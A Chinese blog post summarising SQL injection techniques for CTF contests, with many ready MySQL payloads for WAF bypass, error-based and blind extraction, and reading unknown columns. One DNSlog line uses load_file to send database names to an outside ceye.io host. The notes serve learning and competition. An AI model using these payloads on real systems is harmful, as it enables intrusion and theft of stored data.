0%

CTF中的sql注入总结

前言

非常不想写这篇博客,因为ctf中的sql注入技巧太乱了,不知道怎么排版怎么分块把他表述清楚,然后又能像一个笔记一样时时供我查阅。所以直到我打现在这几个字的时候我都在想咋把我那嘈杂的笔记整理出这篇文章。但是整理肯定还是要整理的,毕竟自己也要看。

CTF sql注入三原则

1.细致的猜测注入点的语句大概是什么样子。
2.判断是有回显的注入还是盲注,有回显的注入当盲注做是自己为难自己。
3.盲注优先考虑布尔盲注,然后才是时间盲注。

sql注入流程

我们来捋一捋这个sql注入的一般流程,首先有一个注入点,然后肯定有一个waf,waf过滤了一些关键字,我们做的就是绕过关键字的过滤,构造能执行的sql语句去获取数据库的flag。捋完流程,我们就知道流程中每一步应该怎么做、应该做什么。在开始之前还是要提出几个注意点:
1.注意区分数据的大小写,因为mysql默认不区分数据的大小写比较
解决方法:ascii编码比较、WHERE后加BINARY、regexp
2.站在出题者角度思考问题。

开始注入

fuzz

自动化fuzz或者手工fuzz,如果不ban ip 、网络稳定,那么自动化fuzz还是很好用的。因为绝大多数都是关键字过滤,fuzz的准确度很高。脚本就是直接py请求查看响应是否有waf响应的关键字。
fuzz字典(不全,自行补充)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
or
|
%
and
%26
&
union
select
information
information_schema
name
table_name
column_name
if
,
%20
//空格
sleep
^
in
like
between
*
#
--
--+
-
.
_
(
)
'
"
@
user
password
passwd
username
绕过waf

绕过waf说白了就是同功能函数的替换,比如 substr == mid,下面我们就搞个这样的表方便大家查询(他们在一定成都上都有替代作用)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//比较判断
> < <> = and or || && %26%26 like between regexp in strcmp locate(s1,s) position(s1 in s) instr(s,s1) greatest() find_in_set()
//ps:select "123" in ("123"); => 1 select "123" in ("12")

//ascii
hex()
bin()
ord()

//切割字符串
left()
right()
mid()
substr()
substring()
lpad()
rpad()
//ps:LPAD('abcdef',4,'?'); 和RPAD('abcdef',4,'?');结果都为abcd

//空格
%20 + /**/ /*乱字符*/
1e1 1.1 ()
//这里的括号绕过是有限制的不是直接括号当空格用,还是举个例子把:
select(id)from(user); 括号内不能是*。
PS:浮点数科学计数法后面的字符串也不需要空格 比如:select 1.1and(1)

//过滤逗号
imit 0,1 => limit 1 offset 0;
mid(str,5,1) =>mid('str'from 5 for 1) =>substr('str' from for 1)
union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
mid('123' from -1); =>3 //适用于for被过滤
mid('123' from -2); =>23 //适用于for被过滤
substring('abc' from 1) = abc
substring('abc' from 2) = bc
这样我们通过ord ascii 函数即可进行判断,因为这两个函数返回第一个字符的ascii码

//连接字符串的函数
concat(str1,str2) 将字符串首尾相连
concat_ws(separator,str1,str2) 将字符串用指定连接符连接
group_concat()

//注释
#
/**/
--
;%00 //mysql是C写的也存在00截断

//延时函数
sleep()
benchmark(1000000,sha(1))

//hex编码的用处
所有用户输入的会拼接到=号后面的数据都可用hex编码比如:
select * from user where username=0x7cb6e453
这样的好处就是,比如不需要单引号 绕过关键字过滤等。

//绕过一体化过滤 比如 过滤user()
select user/**/() //这样一样能执行,不过这样过滤的waf倒是很少见。

//报错注入
1.floor()
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.updatexml() //5.1.5
and 1=(updatexml(1,concat(0x3a,(select user())),1))

3.extractvalue() //5.1.5
and extractvalue(1,concat(0x5c,(select user())))

4.exp() //5.5.5版本之后可以使用
select host from user where user = 'root' and Exp(~(select * from (select version())a));

5.name_const //支持老版本
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

6.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
select multipoint((select * from (select * from (select * from (select version())a)b)c));
7.有时候报错注入是可以根据列名把表名爆出来 # 比如 1'||polygon(passwd)

//宽字节注入就不说了,别人写太多了
%df 逃离单引号的转义

//or被过滤 或者 是 information不能使用的情况下
一般考点可能是同表查询直接切割,比如 select * from flag where id=1 and mid(flag,1,1)='f'
还有可能考察5.6.x以上版本的新特性 -> 在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息
其中 innodb_table_stats innodb_index_stats 等同于 information_schema.tables 当然要想深入理解还是下载一个5.6的数据库仔细看看

//limit where 被过滤
可以利用group by having 来做限制条件!
select uid,uname,passwd from admin group by passwd having uid=1;这样就能得到一行数据 并且有where作用,当然没有where和limit那么方便,更多操作还有待开放呢!

//番外篇之我的经验
越来越多的用 xor ^ regexp 这些作比较
常用payload if(mid(sql)='a',1,0)
善用 length() 这样就知道查询的未知字段是多少长度,写脚本也方便,也能直接猜测长度对应的字符可能是啥。

通过上面的这些替换绕过waf,最终我们需要执行我们构造出来的语句来获取flag,一般是通过information_schema表,这个表相当于一个字典,保存了所有database的信息。

1
2
3
4
5
6
7
8
database() //获取当前数据库
//查库
select schema_name from information_Schema.schemata limit 1,1;
//查表
select table_name from information_Schema.tables where table_schema=database() limit 1,1
查字段
select column_name from information_schema.columns where table_schema=database() and table_name='user' limit 0,1
//

还有一些小众的技巧

无法获取列名如何取数据

1.有回显的order by进行数据猜测

id username xxxxxx
1 admin flag{this_is_flag}
2 admin2 1

如上一个数据表flag,当我们通过information表获取到了表明和有多少列,但是死活不知道最后一列列名,那么怎么查?

如果是有回显的注入可以这样

1
select * from flag union select 1,2,'fl' order by 3;

通过我们的联合查询的第三列来一步一步的比对出flag是什么字符串。举个例子:
比如我们的显示位是3那么:

1
select * from flag where id=1 union select 1,2,'fl' order by 3;

这样如果我们的fl显示出来那么说明,它下面的字段应该是fl+字符,注意这里必须一位一位的去尝试。当然这个方法局限性很大,还很麻烦。

2.大多的时候是盲注,那就可以使用三表联合查询法:
网上的三表联合查询法总是讲不清楚,下面我们来分解下,你不用搞清楚什么是三表联合查询,你只需搞清楚每一步是什么意思即可。
首先我们构造一列:

1
(select (select 1)c1)t1  

上面的语句图形化查询结果如表

c1
1

我们需要上面这样的列三个,因为目标表的列是三个(如果目标表查询的是五列,我们就需要构造五列)
然后我们把列组合在一起

1
select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3

结果就是下面这样

c1 c2 c3
1 2 3

然后我们联合查询flag数据表

1
select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3 union select * from flag where id =1;

结果如下

c1 c2 c3
1 2 3
1 admin flag{this_is_flag}

现在我们把上面这个语句查询出来的表命名为t,然后我们查询这个表的c3字段,并取第二行的数据

1
select t.c3 from (select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3 union select * from flag where id =1)t limit 1,1;

那么我们就成功得到flag了

c3
flag{this_is_flag}

当然盲注我们是不能看到的,所以还需要mid或者substr进行切割,最终我们写脚本来进行未知列名的数据读取:

1
mid((select t.c2 from(select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 union select * from flag)t limit 1 offset 1),1,1)='f';

从上面看我们并没有用第三列的列名但是成功把第三列的数据取了出来,这就是三联表查询。很简单吧。

HTTP参数污染

什么是参数污染?比如URL:http://www.xxxx.com/search.php?id=110&id=911
百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。
雅虎会理解成让雅虎搜索:911   #选择了第二个参数,放弃了第一个参数。
谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。
主要的就是这三种情况了。
这主要是源于,不同的网站对处理参数的处理方式不同
倘若是第三种情况,也就是第一个参数取第二个参数也取。那么大家请看下面的URL
http://www.xishaonian.com/hello.php?id=select 1&id=2,3,3 from admin
该种情况还可用于Bypass WAF.

DNSlogsql注入
1
select load_file(concat('\\\\aa.',(select database()),'. vd85lw.ceye.io\\abc'));

相当于访问aa.ctf.yygta1.ceye.io DNS会记录下这个记录!注意网上的payload的concat后\会把单引号转义导致那个并不好用,就上面这个就挺好用的
推荐的平台:http://ceye.io/

mssql+mysql

mssql+mysql 可以在mssql中执行mysql的查询语句:
参考个链接吧 没细致研究,只是见过
https://docs.microsoft.com/zh-tw/sql/t-sql/functions/openquery-transact-sql?view=sql-server-2017

MYSQL约束攻击:

对于长度有限制的字符串如果插入超过定义的长度会自动截断:
比如 user列名长度10 我们注册admin admin 肯定不行,这是管理员的账户
如果我们注册admin+++++++++++++++ admin12345
那么我们仍然可以用admin12345登陆admin账号原因是+会变成空格 这在前端和都端验证中都会通过
例题: bugku的一道CTF题,地址:http://47.93.190.246:49163/

mysql的弱类型-注入

mysql和php一样都是弱类型语言,你可以尝试select 0=’sadas’ 结果一定是1,这里不用特殊记忆,php会返回true的mysql都会返回true,由于这种弱类型,还衍生了一点弱类型注入的技巧。
比如一个注册的insert 注入:

1
2
email=6677%40qq.com&username=0'%2bsubstr((select hex(hex((select t.c from (select (select 1)c union select * from flag limit 1 offset 1)t)))) from 20)%2b'0&password=22

isert注入通过登录后的用户名来看回显 为了有回显 我们 0’+hex(hex(语句))+’0 由于弱类型加强制转换 我们的username就成为了我们注入数据的两次 hex值(注意这里必须用%2b +可能被当成空格或者%20 所以先编码 浏览器自己会解码这样就不会产生歧义),为什么不直接用字符串拼接呢,就像’0’+user()+’0’ ,不好意思这样只会返回0 因为”+”只适合整数相加,不适合字符串。
两次 hex是为了杜绝 0+33a1df+0=33这种情况,为的是把数值变成字符开头而不是数字开头的十六进制字符串。这样我们得到的用户名就是我们查询结果的两次十六进制编码。

同表查询

有时候information 或者 or、select 被过滤,导致我们无法直接查询information_schema中的库名和表名。这个时候可能题目就没想让我们去information_Schema中找东西。应该尝试同表查询,还拿上面的flag表举例,如果注入语句只是查询username,那么我们可以:

1
select username from flag where id=1 and mid(flag,1,1)='f';

同表是直接可以查的,直接切就行,有时候这个技巧还听常用。

mysql 另类攻击

有时候sql注入不是单独出现的,比如结合php的弱类型,在登陆的时候希望username返回一个null,来进行弱类型比较,那么mysql注入也可以:

1
select username from flag group by username with rollup

图形查询结果:

username
admin
null

可以通过limit 来返回一个null。当然这个技巧很少用。

任意文件读取

AllowArbitraryServer 开启的情况下开启的情况下可能存在任意文件读取,可以把本地文件读取到远程mysql服务器上,具体操作是vps启动mysql服务器用phpmyadmin的后台登陆去登陆我们的mysql服务器,我们的服务器就会记录下我们所需要的文件,当然vps的mysql服务器需要配置,主要用在phpmyadmin界面的登陆中,写起来太长了,直接给个链接吧。
https://bbs.pediy.com/thread-248424.htm

利用数据库操作异常进行注入

有时候我们见到的题目sql语句执行不成功会报错,但是所有报错都是同样的样式,没办法通过报错注入来进行数据泄露。那么我们还可以用这种数据库异常来进行盲注(类似boolean盲注)。

1
2
3
4
5
6
7
8
9
10
11
12
-- 主要有以下几种玩儿法

-- 基于 and 的特性 0 and sql 这里的sql不会执行,因为0 and 任何 都是 0,所以不会接着执行
'123' and ascii(mid({sql},{index},1))={char} and (select exp(~(select * from(select user())x)));

-- 0+~0 返回一串整形数字 1+~0 报错
'1' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1
OFFSET 1),{i},1))={j})+~0)#.format(i=i,j=j);

-- 这个是 基于and的例子 pow() 也是会报错 所以 and + 很多sql函数 都可以这样玩儿

select * from admin where id=1 and mid((select username from admin limit 0,1),1,1)='b' and pow(222,222222);
当所有比较符号被过滤

记住还有 REGEXP

1
http://39.106.184.130:8082/index.php?id=1^(mid(length(database()),1,2)+regexp+%27^32%27)
渗透测试中比较好用的知识点
  • 参数污染
  • IIS 特性unicode绕过 s%u0065lect 使用hackbar编码
  • 使用chunk提交数据
  • sqlserver 可以 ;号结束命令
  • mysql内联注释
  • 特殊字符 %00 %0d %0a
  • 空白字符
    mysql5:OA OB OC OD AO 20
    MSSQL:01,02 到 09,0A到0F,10到19,1A到1F,20
  • 括号绕过空格 union(select)
  • 插入emoji / 小语种文字
  • 使用sqlmap tamper
  • 科学计数法绕过空格 8e0union
  • 无回显,无特征,善用sleep()

结语

很少能打CTF了,以前打CTF竟是做注入的题,所以有很多经验,但再不总结可能就忘完了。这篇文章也不算是有技术含量,只是为CTF小白打点基础,开阔脑洞,毕竟sql注入题千变万化,越来越难了。最后希望有人能从这儿学到东西。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」